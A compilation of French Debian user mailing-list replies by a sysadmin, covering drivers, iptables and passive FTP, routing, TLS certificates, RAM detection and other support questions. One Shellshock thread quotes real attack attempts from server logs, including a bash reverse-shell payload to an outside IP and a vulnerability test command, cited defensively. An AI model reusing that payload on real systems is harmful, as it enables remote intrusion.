Re: Installation Debian avec paquet (non free)
Bonjour. Cela devra être fait après l’installation, en ajoutant les dépôts jessie-backports avec la section non-free ; penegal@Aethelthryth ~> cat /etc/apt/sources.list […] deb http://ftp.fr.debian.org/debian/ jessie-backports main contrib non-free Un petit « apt-get update » et le paquet nvidia-legacy-340xx-driver sera disponible ; si tu veux la version 340.102-1, il faudra configurer le dépôt testing : deb http://ftp.fr.debian.org/debian/ testing main contrib non-free Cordialement. Le jeudi 02 mars 2017 à 15:00 +, Alex PADOLY a écrit : > Bonsoir à tous, > > Comment peut-on faire lorsqu'on installe une distribution Debian pour > installer un paquet propriétaire pour l'affichage > > : nvidia-legacy-340xx-driver (340.102-1) [non-free] > > Merci beaucoup. > Alex PADOLY > -- David Guyot Administrateur système, réseau et télécom / Sysadmin Europe Camions Interactive / Stockway Moulin Collot F-88500 Ambacourt 03 29 30 47 85 signature.asc Description: This is a digitally signed message part
Re: Question théorique sur Protocole HTTP et la redirection des requêtes.
Bonjour. Il faut plus le faire au niveau du serveur Web ; iptables n’est pas conçu pour ça, et, si ça venait à être possible – ce dont je doute –, ce serait du bricolage. Sinon, si le serveur Web exécute du PHP ou des scripts CGI, ça peut être fait à ce niveau, mais ça consommera plus de ressources et sera plus lent. Pour Apache : https://httpd.apache.org/docs/2.2/rewrite/ Pour Nginx : https://nginx.org/en/docs/http/ngx_http_rewrite_module.html#rewrite Cordialement. Le mercredi 25 janvier 2017 à 10:32 +0100, contact a écrit : > Bonjour > > question de novice sans doute, la gestion des requêtes HTTP sur un > serveur WEB est géré par le dit serveur (APACHE, NGIX ou autre). > > > Mais quelqu'un peut il me préciser, quand il s'agit de gérer ces > requêtes pour en assurer la redirection si ceci doit être fait : > > * au niveau du serveur WEB dans sa config. > * au niveau des règles IPTABLE. > * ou ailleurs. > > J'ai besoin de cette information dans le cadre d'un projet de portail > captif sans accès au réseau externe. > > > Merci > > -- > François-Marie BILLARD > Sculpteur - Céramiste -- David Guyot Administrateur système, réseau et télécom / Sysadmin Europe Camions Interactive / Stockway Moulin Collot F-88500 Ambacourt 03 29 30 47 85 signature.asc Description: This is a digitally signed message part
Re: HFSplus - comment on monte en rw ?
Le mercredi 27 juillet 2016 à 00:20 +0200, Jean-Marc a écrit : > Une autre info aussi concerne la journalisation. Plusieurs sources > disent qu'il est imprudent de monter un FS hfsplus si la > journalisation n'est pas désactivée. > > Donc, retour d'abord chez la proprio pour désactiver le journal. > > On fera une autre tentative après cette étape. Effectivement, la journalisation est connue pour causer ce problème ; une fois désactivée depuis macOS, ça devrait se monter en lecture et écriture. Cordialement. -- David Guyot Administrateur système, réseau et télécom / Sysadmin Europe Camions Interactive / Stockway Moulin Collot F-88500 Ambacourt 03 29 30 47 85 signature.asc Description: This is a digitally signed message part
Re: Demande d'un DVD DEBIAN
Bonjour. La MD est pour l'entraide ; pour avoir des supports, c'est ici : https://www.debian.org/CD/vendors/#fr Cordialement. Le mercredi 18 novembre 2015 à 15:16 +0100, Ahmed Benghaffor a écrit : > Bonjour, > J'ai l'honneur de vous demander de bien vouloir m'adresser un > exemplaire de votre DVD DEBIAN LINUX - gravé et gracieux dans la > mesure du possible en 64 BITS- > > > Merci beaucoup. > > > BENGHAFFOR Ahmed > BP 70-1e novembre > 22006 Sidi Bel Abbès > ALGÉRIE -- David Guyot Administrateur système, réseau et télécom / Sysadmin Europe Camions Interactive / Stockway Moulin Collot F-88500 Ambacourt 03 29 30 47 85 signature.asc Description: This is a digitally signed message part
Re: Systemd et scripts /etc/init.d/.
Bonjour. En fait, par défaut, en tout cas sous Debian, systemd va émuler le fonctionnement d'init, en ce qu'il utilisera les scripts init.d même s'ils ne sont pas des unités systemd à proprement parler. Évidemment, toutes les fonctionnalités de systemd ne fonctionneront pas sur les scripts init.d, mais on peut au moins les lancer, les redémarrer et les arrêter. Pour le reste, je ne sais pas. Cordialement. Le vendredi 06 novembre 2015 à 15:52 +0100, Migrec a écrit : > Bonjour, > > Je me suis documenté sur le systemd mais j'ai encore quelques question > pratiques... > > Sur mon serveur mis à jour depuis peu en version stable, le nouveau systemd a > remplacé l'ancien système. J'ai un soucis avec un script "perso" qui est dans > /etc/init.d/fwbuilder > > Pourquoi est-il exécuté ? Il me semble que ce n'est pas l'emplacement des > "unités" ? > > Le script tel quel ne passe pas car il manque les tag LSB ? Si je les rajoute > dans /etc/insserv/overrides/fwbuilder, ils seront rajoutés au script /etc/ > init.d/fwbuilder, c'est ça ? > > Cordialement, > > PS : Mon script fwbuilder est en fait déposé dans /etc/init.d/ via ssh depuis > une autre machine. > -- David Guyot Administrateur système, réseau et télécom / Sysadmin Europe Camions Interactive / Stockway Moulin Collot F-88500 Ambacourt 03 29 30 47 85 signature.asc Description: This is a digitally signed message part
Re: Modifier la durée de validité d'un certificat TLS...
Le dimanche 13 septembre 2015 à 21:14 +0200, andre_deb...@numericable.fr a écrit : > Il me semble que les certificats TLS, pour les serveurs de mail, > n'ont pas besoin de la signature d'une autorité officielle (payante), > à moins d'avoir la bénédiction de cacert.org ? > > Ce sont, pour l'instant, les certificats de serveurs Web en https > qui doivent être signés par une autorité officielle. > En fait, les clients mails acceptent souvent les certificats non signés, mais ils préfèrent quand même les certificats émanant d'une autorité de certification reconnue. Sinon, non, on ne peut pas, pour autant que je sache, modifier quelque paramètre que ce soit dans un certificat déjà fait, à moins de le refaire, car le modifier rendrait les signatures cryptographiques qu'il contient invalide. Logique, quand on y pense : ça oblige à refaire le certificat, donc à repasser par l'autorité de certification, à chaque modification de certificat. Sinon, ce serait trop facile de repousser indéfiniment la validité d'un certificat déjà signé ; de plus, ça empêche que des certificats restent trop longtemps en place, au risque de finir par être cassés, surtout s'ils utilisent des algorithmes de signature périmés depuis. -- David Guyot Administrateur système, réseau et télécom / Sysadmin Europe Camions Interactive / Stockway Moulin Collot F-88500 Ambacourt 03 29 30 47 85 signature.asc Description: This is a digitally signed message part
Re: eth1:avahi
Bonjour, André. La seconde est une interface virtuelle, ce qui se voit par son nom, qui est suivant le motif interface:virtuelle, où interface est le nom de l'interface physique et virtuelle le nom de l'interface virtuelle ; cela explique aussi pourquoi ces deux interfaces ont la même adresse physique, puisqu'il s'agit, physiquement, de la même interface. L'intérêt des interfaces virtuelles est de pouvoir utiliser plusieurs IPs sur un même réseau physique, ce qui devrait être ton cas. Cordialement. Le jeudi 23 juillet 2015 à 15:42 +0200, André a écrit : > Bonjour, > > $ ifconfig > eth1 Link encap:Ethernet ... > eth1:avahi Link encap:Ethernet ... > > Comment se fait-il que j'ai deux connexions eth1 ? > (même hardware adresse) > > Je suis sous Jessie 64 bits. > > André > > -- David Guyot Administrateur système, réseau et télécom / Sysadmin Europe Camions Interactive / Stockway Moulin Collot F-88500 Ambacourt 03 29 30 47 85 signature.asc Description: This is a digitally signed message part
Re: 6872 Mo de RAM pour 8 Go d'après le BIOS ‽
Au cas où d'autres ont le même problème avec cette carte-mère, il faut aller dans le menu avancé de l'UEFI, puis dans Advanced → NB Configuration ; de là, il faut faire apparaître le réglage en forçant l'activation du GPU intégré — « Integrated Graphics » à « Force » —, puis en jouant avec le réglage « UMA Frame Buffer Size ». La situation que je présentais était celle donnée par le réglage par défaut, à savoir « Auto ». Merci pour votre aide ! Cordialement. Le jeudi 09 juillet 2015 à 16:51 +0200, Frederic MASSOT a écrit : > Le 09/07/2015 15:47, David Guyot a écrit : > > Cher tous, > > > > J'ai un problème avec ma Jessie amd64 à jour sur une CM Asus A88XM-PLUS > > avec un UEFI à jour : j'ai deux barettes de 4 Go installées, détectées > > comme telles par l'UEFI, mais la bécane refuse d'en exploiter plus de > > 6872 Mo. Je précise qu'un problème matériel est très improbable car une > > autre bécane avec la même configuration matérielle et logicielle > > présente le même problème. J'ai parcouru l'UEFI dans tous les sens pour > > trouver un paramètre lié à la mémoire, mais je ne pouvais y changer que > > la fréquence et la tension. Le plus étrange est que certaines commandes > > montrent bien les 8 Go matériels, d'autres non : > > Les chipsets (vidéo, PCI, etc) réserve de la mémoire pour leurs usages. > > Regardes dans le BIOS dans la partie vidéo, tu dois avoir une option > "Memory Remap Feature", vérifie qu'elle est bien activée. > > > -- > == > | FRÉDÉRIC MASSOT | > | http://www.juliana-multimedia.com | > | mailto:frede...@juliana-multimedia.com | > | +33.(0)2.97.54.77.94 +33.(0)6.67.19.95.69 | > ===Debian=GNU/Linux=== > -- David Guyot Administrateur système, réseau et télécom / Sysadmin Europe Camions Interactive / Stockway Moulin Collot F-88500 Ambacourt 03 29 30 47 85 signature.asc Description: This is a digitally signed message part
6872 Mo de RAM pour 8 Go d'après le BIOS ‽
0x9eff3fff] [0.00] PM: Registered nosave memory: [mem 0x9f00-0xf7ff] [0.00] PM: Registered nosave memory: [mem 0xf800-0xfbff] [0.00] PM: Registered nosave memory: [mem 0xfc00-0xfeb7] [0.00] PM: Registered nosave memory: [mem 0xfeb8-0xfec01fff] [0.00] PM: Registered nosave memory: [mem 0xfec02000-0xfec0] [0.00] PM: Registered nosave memory: [mem 0xfec1-0xfec10fff] [0.00] PM: Registered nosave memory: [mem 0xfec11000-0xfecf] [0.00] PM: Registered nosave memory: [mem 0xfed0-0xfed00fff] [0.00] PM: Registered nosave memory: [mem 0xfed01000-0xfed3] [0.00] PM: Registered nosave memory: [mem 0xfed4-0xfed44fff] [0.00] PM: Registered nosave memory: [mem 0xfed45000-0xfed7] [0.00] PM: Registered nosave memory: [mem 0xfed8-0xfed8] [0.00] PM: Registered nosave memory: [mem 0xfed9-0xfeff] [0.00] PM: Registered nosave memory: [mem 0xff00-0x] [0.00] e820: [mem 0x9f00-0xf7ff] available for PCI devices [0.00] Booting paravirtualized kernel on bare hardware [0.00] setup_percpu: NR_CPUS:512 nr_cpumask_bits:512 nr_cpu_ids:4 nr_node_ids:1 [0.00] PERCPU: Embedded 27 pages/cpu @88021ec0 s80896 r8192 d21504 u524288 [0.00] pcpu-alloc: s80896 r8192 d21504 u524288 alloc=1*2097152 [0.00] pcpu-alloc: [0] 0 1 2 3 [0.00] Built 1 zonelists in Zone order, mobility grouping on. Total pages: 1795346 [0.00] Policy zone: Normal [0.00] Kernel command line: BOOT_IMAGE=/vmlinuz-3.16.0-4-amd64 root=/dev/mapper/Aethelthryth--vg-root ro quiet [0.00] PID hash table entries: 4096 (order: 3, 32768 bytes) [0.00] xsave: enabled xstate_bv 0x7, cntxt size 0x340 [0.00] AGP: Checking aperture... [0.00] AGP: No AGP bridge found [0.00] AGP: Node 0: aperture [bus addr 0x-0x01ff] (32MB) [0.00] AGP: Your BIOS doesn't leave a aperture memory hole [0.00] AGP: Please enable the IOMMU option in the BIOS setup [0.00] AGP: This costs you 64MB of RAM [0.00] AGP: Mapping aperture over RAM [mem 0x9400-0x97ff] (65536KB) [0.00] PM: Registered nosave memory: [mem 0x9400-0x97ff] [0.00] Memory: 7017680K/7281020K available (5209K kernel code, 946K rwdata, 1832K rodata, 1204K init, 840K bss, 263340K reserved) […] Pour dmesg, j'ai arrêté la sortie à la ligne où il est manifeste que le système ne détecte pas tout ce qu'il devrait en RAM, donc la réponse doit être située dans ce qui précède cette ligne, mais je n'en sais pas encore assez sur ces messages pour les analyser correctement. Quelqu'un de meilleur que moi verrait-il de quoi il retourne ? Dans l'attente de vos suggestions, Cordialement. -- David Guyot signature.asc Description: This is a digitally signed message part
Re: KW Promo windows 8.1
Le mercredi 18 mars 2015 à 10:24 +0100, Philippe Gras a écrit : > > Tu me l'ôtes de la bouche ; ça me paraissait un peu bizarre qu'une ML > > Debian accepte les pubs… > > Il y a eu un avis il y a quelques mois du listmaster à ce sujet, en > référence > avec une précédente levée de boucliers publiphobe. > > Cette page concerne les spams, c'est complètement différent. Le mail d'origine étant non désiré, publicitaire et sur un sujet n'ayant rien à voir avec Debian ou le logiciel libre, ça me semble bien être du spam ; d'ailleurs, la page https://wiki.debian.org/fr/FrenchLists dit également que les messages doivent avoir « un rapport avec Debian et le logiciel libre », et considère le reste comme du spam. -- David Guyot Administrateur système, réseau et télécom / Sysadmin Europe Camions Interactive / Stockway Moulin Collot F-88500 Ambacourt 03 29 30 47 85 signature.asc Description: This is a digitally signed message part
Re: KW Promo windows 8.1
Le mercredi 18 mars 2015 à 08:27 +, Stéphane GARGOLY a écrit : > > Autre chose. La liste Debian autorise les messages publicitaires, et le > > message sur lequel vous répandez votre acrimonie en est un. > > Ah bon... o_O Ce n'est pas exactement ce qui est indiqué à la page suivant : > http://www.debian.org/MailingLists/#ads Tu me l'ôtes de la bouche ; ça me paraissait un peu bizarre qu'une ML Debian accepte les pubs… -- David Guyot Administrateur système, réseau et télécom / Sysadmin Europe Camions Interactive / Stockway Moulin Collot F-88500 Ambacourt 03 29 30 47 85 signature.asc Description: This is a digitally signed message part
Re: Linux et Unix affectés par une faille critique dans Bash
Le vendredi 26 septembre 2014 à 16:38 +0200, daniel huhardeaux a
écrit :
> Ah ? Si tu gères des serveurs web je te propose de faire un simple cat
> |grep "() {" et de compter le nombre de
> tentatives d'accès comme par exemple
>
> 89.207.135.125 - - [25/Sep/2014:12:06:47 +0200] "GET
> /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 345 "-" "() { :;}; /bin/ping
> -c 1 198.101.206.138"
>
> ou encore
>
> 202.38.120.248 213.239.227.108 - [26/Sep/2014:12:03:36 +0200] "GET /
> HTTP/1.0" 200 961 "-" "() { :;}; /bin/bash -c '/bin/bash -i >&
> /dev/tcp/195.225.34.101/ 0>&1'"
D'accord avec Daniel sur ce point, d'autant plus que j'ai observé le
second exemple de logs sur un de mes serveurs, ce qui correspond à une
tentative d'implantation de porte dérobée —
https://securelist.com/blog/research/66719/shellshock-and-its-early-adopters/
Cordialement.
--
David Guyot
Administrateur système, réseau et télécom / Sysadmin
Europe Camions Interactive / Stockway
Moulin Collot
F-88500 Ambacourt
03 29 30 47 85
signature.asc
Description: This is a digitally signed message part
Re: Linux et Unix affectés par une faille critique dans Bash
Bonjour, tout le monde.
Ce message d'erreur signifie, à mon sens, que Bash a détecté ta
tentative de création de fonction par une variable d'environnement et
l'a rejetée. Ça prouve que le correctif est appliqué chez toi.
Cordialement.
Le vendredi 26 septembre 2014 à 11:16 +0200, andre_deb...@numericable.fr
a écrit :
> On Friday 26 September 2014 07:56:06 JUPIN Alain wrote:
> > env x='() { :;}; echo vulnerable' bash -c 'echo hello'
>
> J'ai upgradé bash et relancé, tapé la commande ci-dessus
> et j'ai ce message de warning :
>
> "bash: warning: x: ignoring function definition attempt
> bash: erreur lors de l'import de la définition de fonction pour « x »
> hello"
>
> Quid ?
>
> André
>
--
David Guyot
Administrateur système, réseau et télécom / Sysadmin
Europe Camions Interactive / Stockway
Moulin Collot
F-88500 Ambacourt
03 29 30 47 85
signature.asc
Description: This is a digitally signed message part
Re: Tour de France qui ne fonctionne pas toujours avec Iceweasel
Le jeudi 24 juillet 2014 à 15:25:16 +0200, andre_deb...@numericable.fr a écrit: > > Le 24/07/2014 14:11, andre_deb...@numericable.fr a écrit : > > Qu'est-ce qui ne fonctionne pas ? Sous Sid, tout roule... Donc Iceweasel > > n'y est pour rien... Samy > > En quoi un OS serait responsable d'une page qui ne s'affiche pas, > ce serait plutôt le navigateur, sinon la page, le serveur Web etc ... ? André, Je pense que, ce que Samy voulait dire, c'est que ton message ne donnait aucune information utile pour t'aider, si ce n'est qu'une URL ne fonctionnait pas sous Iceweasel, mais sous quelle version ? Sous une Debian utilisant uniquement les sources de paquets officielles, la version de Debian permet de retrouver la version de ton navigateur si ce dernier est à jour, d'où la question de Samy. D'ailleurs, ton navigateur est-il à jour ? Utilises-tu uniquement les sources officielles de paquets ? Sinon, quelle est la version de ton navigateur ? Cordialement. -- David Guyot Administrateur système, réseau et télécommunications / Sysadmin Europe Camions Interactive / Stockway Moulin Collot F-88500 Ambacourt Tel: +33 (0)3 29 30 47 85 Fax : +33 (0)3 29 31 31 31 signature.asc Description: Digital signature
Re: IPtables et FTP passif : c'est moi ou la conntrack loupe des paquets
Le mercredi 25 juin 2014 à 14:05:59 +0200, David Guyot a écrit: > Le mercredi 25 juin 2014 à 12:16:53 +0200, Pascal Hambourg a écrit: > > Alors je répète ma question : comment est-il chargé ? D'ailleurs, est-il > > chargé ? Ce n'est pas automatique. A vérifier avec lsmod. > Eh ben ? Il n'était pas chargé, ce €çþð de module ! Je l'ai chargé > manuellement et ça a marché. Du coup, je me demande pourquoi il était > présent par défaut sous Squeeze et pas sous Wheezy ; le sauriez-vous ? > Sinon, c'est peut-être mon hébergeur roubaisien qui a modifié l'image > d'installation dans ce sens… Si vous me dites que ça ne vient pas de > Debian, je leur en toucherai un mot, c'est le genre de module qui > devrait être chargé de base sur un serveur, du moins à mon sens. Naaah, j'ai trouvé : avant, j'utilisais le noyau non modulaire de l'hébergeur qui incluait ce module directement dans le noyau, donc pas sous forme de module, mais ça c'était avant ; maintenant, j'utilise le noyau modulaire de base de Debian, où il est nécessaire de charger ce module. Je le saurais pour la prochaine fois. Merci de ton aide, Pascal ! -- David Guyot Administrateur système, réseau et télécommunications / Sysadmin Europe Camions Interactive / Stockway Moulin Collot F-88500 Ambacourt Tel: +33 (0)3 29 30 47 85 Fax : +33 (0)3 29 31 31 31 signature.asc Description: Digital signature
Re: IPtables et FTP passif : c'est moi ou la conntrack loupe des paquets
Le mercredi 25 juin 2014 à 12:16:53 +0200, Pascal Hambourg a écrit: > Alors je répète ma question : comment est-il chargé ? D'ailleurs, est-il > chargé ? Ce n'est pas automatique. A vérifier avec lsmod. Eh ben ? Il n'était pas chargé, ce €çþð de module ! Je l'ai chargé manuellement et ça a marché. Du coup, je me demande pourquoi il était présent par défaut sous Squeeze et pas sous Wheezy ; le sauriez-vous ? Sinon, c'est peut-être mon hébergeur roubaisien qui a modifié l'image d'installation dans ce sens… Si vous me dites que ça ne vient pas de Debian, je leur en toucherai un mot, c'est le genre de module qui devrait être chargé de base sur un serveur, du moins à mon sens. > > -- > Lisez la FAQ de la liste avant de poser une question : > http://wiki.debian.org/fr/FrenchLists > > Pour vous DESABONNER, envoyez un message avec comme objet "unsubscribe" > vers debian-user-french-requ...@lists.debian.org > En cas de soucis, contactez EN ANGLAIS listmas...@lists.debian.org > Archive: https://lists.debian.org/53aaa195.4060...@plouf.fr.eu.org > -- David Guyot Administrateur système, réseau et télécommunications / Sysadmin Europe Camions Interactive / Stockway Moulin Collot F-88500 Ambacourt Tel: +33 (0)3 29 30 47 85 Fax : +33 (0)3 29 31 31 31 signature.asc Description: Digital signature
Re: IPtables et FTP passif : c'est moi ou la conntrack loupe des paquets
Le mercredi 25 juin 2014 à 11:28:37 +0200, Pascal Hambourg a écrit: > David Guyot a écrit : > > > > J'en déduis donc que le module utilisé est nf_conntrack_ftp, dont > > ip_conntrack_ftp est un alias ; me trompé-je ? > > Non, c'est correct. > La connexion de commande est visiblement en clair, donc si le module est > bien chargé ça devrait fonctionner. Comment le module est-il chargé ? > Pas d'option ports= avec une valeur différente de 21 pour ce module dans > /etc/modprobe.d/ ou /etc/modprobe.conf ? Le module n'apparaît pas dans la configuration de modprobe, ni d'ailleurs où que ce soit dans /etc et ses sous-dossiers ; j'ai en revanche trouvé les occurrences suivantes : /lib/modules/3.2.0-4-amd64/modules.order:kernel/net/netfilter/nf_conntrack_ftp.ko /lib/modules/3.2.0-4-amd64/modules.symbols:alias symbol:nf_nat_ftp_hook nf_conntrack_ftp /lib/modules/3.2.0-4-amd64/modules.alias:alias nfct-helper-ftp nf_conntrack_ftp /lib/modules/3.2.0-4-amd64/modules.alias:alias ip_conntrack_ftp nf_conntrack_ftp Il semble que le module ne soit donc chargé d'aucune option, du moins n'en ai-je pas trouvé dans ces fichiers. Je continue les recherches… > > -- > Lisez la FAQ de la liste avant de poser une question : > http://wiki.debian.org/fr/FrenchLists > > Pour vous DESABONNER, envoyez un message avec comme objet "unsubscribe" > vers debian-user-french-requ...@lists.debian.org > En cas de soucis, contactez EN ANGLAIS listmas...@lists.debian.org > Archive: https://lists.debian.org/53aa9645.5050...@plouf.fr.eu.org > -- David Guyot Administrateur système, réseau et télécommunications / Sysadmin Europe Camions Interactive / Stockway Moulin Collot F-88500 Ambacourt Tel: +33 (0)3 29 30 47 85 Fax : +33 (0)3 29 31 31 31 signature.asc Description: Digital signature
Re: IPtables et FTP passif : c'est moi ou la conntrack loupe des paquets
Le mardi 24 juin 2014 à 17:30:35 +0200, daniel huhardeaux a écrit: > Le 24/06/2014 16:42, David Guyot a écrit : > >Salut, la liste. > > Bonjour, Bonjour. > > > > >J'ai un problème étrange que voici : nous hébergeons un service FTP > >derrière un pare-feu, service FTP accessible en mode passif uniquement. > >J'ai donc configuré le démon ProFTPd avec la directive « PassivePorts > >5 50500 » et ai débloqué les ports FTP comme suit : > [...] > > Pour du ftp c'est le module ip_conntrack_ftp. Est ce bien celui ci > que vous utilisez ? > modprobe -c me donne, entre autres, les résultats suivants : alias ip_conntrack_ftp nf_conntrack_ftp alias ip_conntrack_tftp nf_conntrack_tftp alias nfct_helper_ftp nf_conntrack_ftp alias nfct_helper_tftp nf_conntrack_tftp alias symbol:nf_nat_ftp_hook nf_conntrack_ftp alias symbol:nf_nat_tftp_hook nf_conntrack_tftp J'en déduis donc que le module utilisé est nf_conntrack_ftp, dont ip_conntrack_ftp est un alias ; me trompé-je ? Merci d'avance. Cordialement. > -- > Daniel > > -- > Lisez la FAQ de la liste avant de poser une question : > http://wiki.debian.org/fr/FrenchLists > > Pour vous DESABONNER, envoyez un message avec comme objet "unsubscribe" > vers debian-user-french-requ...@lists.debian.org > En cas de soucis, contactez EN ANGLAIS listmas...@lists.debian.org > Archive: https://lists.debian.org/53ab.1030...@tootai.net > -- David Guyot Administrateur système, réseau et télécommunications / Sysadmin Europe Camions Interactive / Stockway Moulin Collot F-88500 Ambacourt Tel: +33 (0)3 29 30 47 85 Fax : +33 (0)3 29 31 31 31 signature.asc Description: Digital signature
IPtables et FTP passif : c'est moi ou la conntrack loupe des paquets
l'établissement de la connexion passive, ils devraient correspondre à la règle iptables INPUT « tcp dpts:5:50500 state RELATED,ESTABLISHED » : ces paquets étant liés à connexion FTP pré-existante sur le port 21, ils devraient être acceptés par la règle sur l'état RELATED, or ce n'est pas le cas. Afin de dissiper le doute, j'ai décomposé les règles des ports 5-50500 et ait réinitialisé les compteurs du pare-feu puis la connexion FTP pour obtenir le résultat suivant : Chain INPUT (policy ACCEPT 0 packets, 0 bytes) pkts bytes target prot opt in out source destination 6 715 ACCEPT all -- lo * 0.0.0.0/00.0.0.0/0 /* loopback@localhost */ 144 ACCEPT tcp -- eth0 * 0.0.0.0/00.0.0.0/0 tcp dpt:21flags: 0x17/0x02 limit: avg 5/min burst 50 recent: SET name: FTP side: source 0 0 LOGDROPtcp -- eth0 * 0.0.0.0/00.0.0.0/0 tcp dpt:21flags: 0x17/0x02 recent: UPDATE seconds: 60 hit_count: 6 TTL-Match name: FTP side: source 17 751 ACCEPT tcp -- eth0 * 0.0.0.0/00.0.0.0/0 tcp dpt:21 0 0 ACCEPT tcp -- eth0 * 0.0.0.0/00.0.0.0/0 tcp dpts:5:50500 state RELATED 3 120 ACCEPT tcp -- eth0 * 0.0.0.0/00.0.0.0/0 tcp dpts:5:50500 state ESTABLISHED 152 ACCEPT tcp -- eth0 * 0.0.0.0/00.0.0.0/0 tcp dpts:5:50500 # … Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes) pkts bytes target prot opt in out source destination 6 715 ACCEPT all -- * lo 0.0.0.0/00.0.0.0/0 /* loopback@localhost */ 11 812 ACCEPT tcp -- * eth00.0.0.0/00.0.0.0/0 tcp spt:21 0 0 ACCEPT tcp -- * eth00.0.0.0/00.0.0.0/0 tcp spts:5:50500 state RELATED 4 395 ACCEPT tcp -- * eth00.0.0.0/00.0.0.0/0 tcp spts:5:50500 state ESTABLISHED 0 0 ACCEPT tcp -- * eth00.0.0.0/00.0.0.0/0 tcp spts:5:50500 # … Chain LOGDROP (14 references) pkts bytes target prot opt in out source destination 5 1045 LOGall -- * * 0.0.0.0/00.0.0.0/0 limit: avg 1/sec burst 5 LOG flags 0 level 5 prefix "iptables rejected: " 9 1824 DROP all -- * * 0.0.0.0/00.0.0.0/0 Comme vous pouvez le voir, la règle OUTPUT concernant les paquets de connexions à l'état RELATED, à savoir « tcp spts:5:50500 state RELATED », n'est jamais appelée alors qu'elle aurait dû l'être dans ce cas. J'analyse donc les résultats comme suit : le paquet SYN de la connexion passive est reçu par le serveur, n'est pas reconnu comme une connexion RELATED et passe par la troisième règle INPUT qui l'accepte uniquement sur la base du port de destination utilisé ; le serveur répond à ce paquet, et la sortie de ce paquet est accepté par la règle OUTPUT liée à l'état ESTABLISHED, puisque, comme il s'agit d'un paquet en réponse à un autre, la machine à état d'iptables considère la connexion ESTABLISHED. À partir de ce moment, tous les paquets à destination du serveur sont acceptés par la règle INPUT liée à l'état ESTABLISHED, ce qui explique qu'un seul paquet déclenche la règle INPUT correspondant au seul port de destination. Ma déduction est que la conntrack est défectueuse car elle a été incapable de reconnaître la connexion FTP passive comme une connexion liée à une autre connexion pré-existante, ce qui a fait échouer la règle acceptant les paquets de connexions à l'état RELATED. Me trompé-je en affirmant que le problème vient de la conntrack ? Si oui, où est mon erreur ? Sinon, si c'est bien un bug de la conntrack, que dois-je faire ? Ouvrir un ticket de bug ? Dans ce cas, concernant quel paquet ? Sinon, que faire d'autre ? Dans l'attente de vos lumières, Cordialement. -- David Guyot Administrateur système, réseau et télécommunications / Sysadmin Europe Camions Interactive / Stockway Moulin Collot F-88500 Ambacourt Tel: +33 (0)3 29 30 47 85 Fax : +33 (0)3 29 31 31 31 signature.asc Description: Digital signature
Re: Problème avec ntpdate: no server su itable for synchronization found
Le lundi 16 juin 2014 à 16:28:15 +0200, nb a écrit: > > Le Lundi 16 Juin 2014 16:22 CEST, Guy Roussin > a écrit: > > > Bonjour, > > > > Sur un serveur (wheezy) on a un problème avec ntpdate qui refuse de > > fonctionner. > > Message d'erreur : > > > > # ntpdate ntp.ensma.fr > > A ta place j'utiliserais ntpdate-debian > Bonjour. Si ton but est de garder ton serveur synchronisé à l'heure légale, je te conseille plutôt d'installer le paquet ntp ; il gardera seul et sans rien demander ton serveur synchronisé. Si ce n'est pas ce que tu veux, tu devrais écouter Guy. Cordialement. -- David Guyot Administrateur système, réseau et télécommunications / Sysadmin Europe Camions Interactive / Stockway Moulin Collot F-88500 Ambacourt Tel: +33 (0)3 29 30 47 85 Fax : +33 (0)3 29 31 31 31 signature.asc Description: Digital signature
Re: Réseau : comportement lorsque plusieurs routeurs par défaut sont définis.
Le vendredi 13 juin 2014 à 09:13:55 +0200, Yann Cohen a écrit: > Bonjour, > > Je cherche à comprendre/connaître le comportement de la couche TCP/IP de > linux lorsque plusieurs destinations par défaut sont configurées. > > L'exemple est simple, soit un hôte avec deux interfaces eth0 en > 192.168.0.1/24 et eth1 en 192.168.1.1/24, sur chaque interface est > déclaré un routeur par défaut 192.168.0.254 sur eth0 et 192.168.1.254 > sur eth1. > > root@machine:~# route -n > Kernel IP routing table > Destination Gateway Genmask Flags Metric RefUse > Iface > 0.0.0.0 192.168.1.254 0.0.0.0 UG0 00 > eth1 > 0.0.0.0 192.168.0.254 0.0.0.0 UG0 00 > eth0 > 192.168.0.0 0.0.0.0 255.255.255.0 U 0 00 > eth0 > 192.168.1.0 0.0.0.0 255.255.255.0 U 0 00 > eth1 > > Jusqu'à présent dans mon esprit, il ne pouvait y avoir qu'une seule > route par défaut : elle est utilisée lorsqu'il n'y a pas d'autre > solution dans la table de routage, donc s'il y en a plusieurs comment > choisir la route par défaut ? > > Hors la configuration avec un gateway par interface ne pose pas de > problème à l'OS, et les deux routes par défaut sont avec la même > métrique, d'où mon interrogation... > > Dans mes recherches j'ai bien trouvé des références chez win$ qui > indiquent que dans ce cas est ajoutée par défaut une métrique sur les > routes dépendantes de la vitesse des interfaces, donc deux cas : > * les interfaces n'ont pas la même vitesse dans ce cas il favorise > la plus rapide, > * les interfaces ont la même vitesse dans ce cas il utilise la > première des routes sinon la seconde en cas d'échec avec la > première (failover ou redondance c'est au choix). > > Par contre avec Linux, malgré mes recherches, je n'ai pas trouvé > d'explication simple sur le comportement du routage par défaut dans ce > cas. J'ai rencontré plein de sujet sur comment configurer plusieurs > tables de routage, comment faire en sorte que les packets icmp entrent > et sortent par la même interface... > > Donc où puis-je trouver de la littérature sur le comportement par défaut > du routage dans ce cas ? > > Merci de votre attention. > > Yann. Bonjour. Si ma mémoire est bonne, dans ce cas, le noyau est incapable de choisir la bonne route et refuse de router les paquets vers quelque passerelle que ce soit. Néanmoins, il est possible de prioriser les routes en utilisant ce que l'on appelle la métrique ; la métrique d'une route est un nombre qui indique sa priorité par rapport aux autres desservant le même sous-réseau. Plus la métrique d'une route est élevée, moins elle sera utilisée, car le noyau tentera toujours d'utiliser la route dotée de la métrique la plus basse, sachant que la métrique par défaut d'une route est 0, c'est-à-dire que la priorité par défaut d'une route est la plus élevée. man ip-route t'apprendra comment utiliser la métrique. Cordialement. N.B. : la métrique est une ancienne valeur qui existe toujours mais, si ma mémoire est bonne, elle ne devrait plus être nommée ainsi ; il est possible que tu la trouves dans la documentation sous le nom de « préférence ». -- David Guyot Administrateur système, réseau et télécommunications / Sysadmin Europe Camions Interactive / Stockway Moulin Collot F-88500 Ambacourt Tel: +33 (0)3 29 30 47 85 Fax : +33 (0)3 29 31 31 31 signature.asc Description: Digital signature
Re: Le code de conduite de Debian en français.
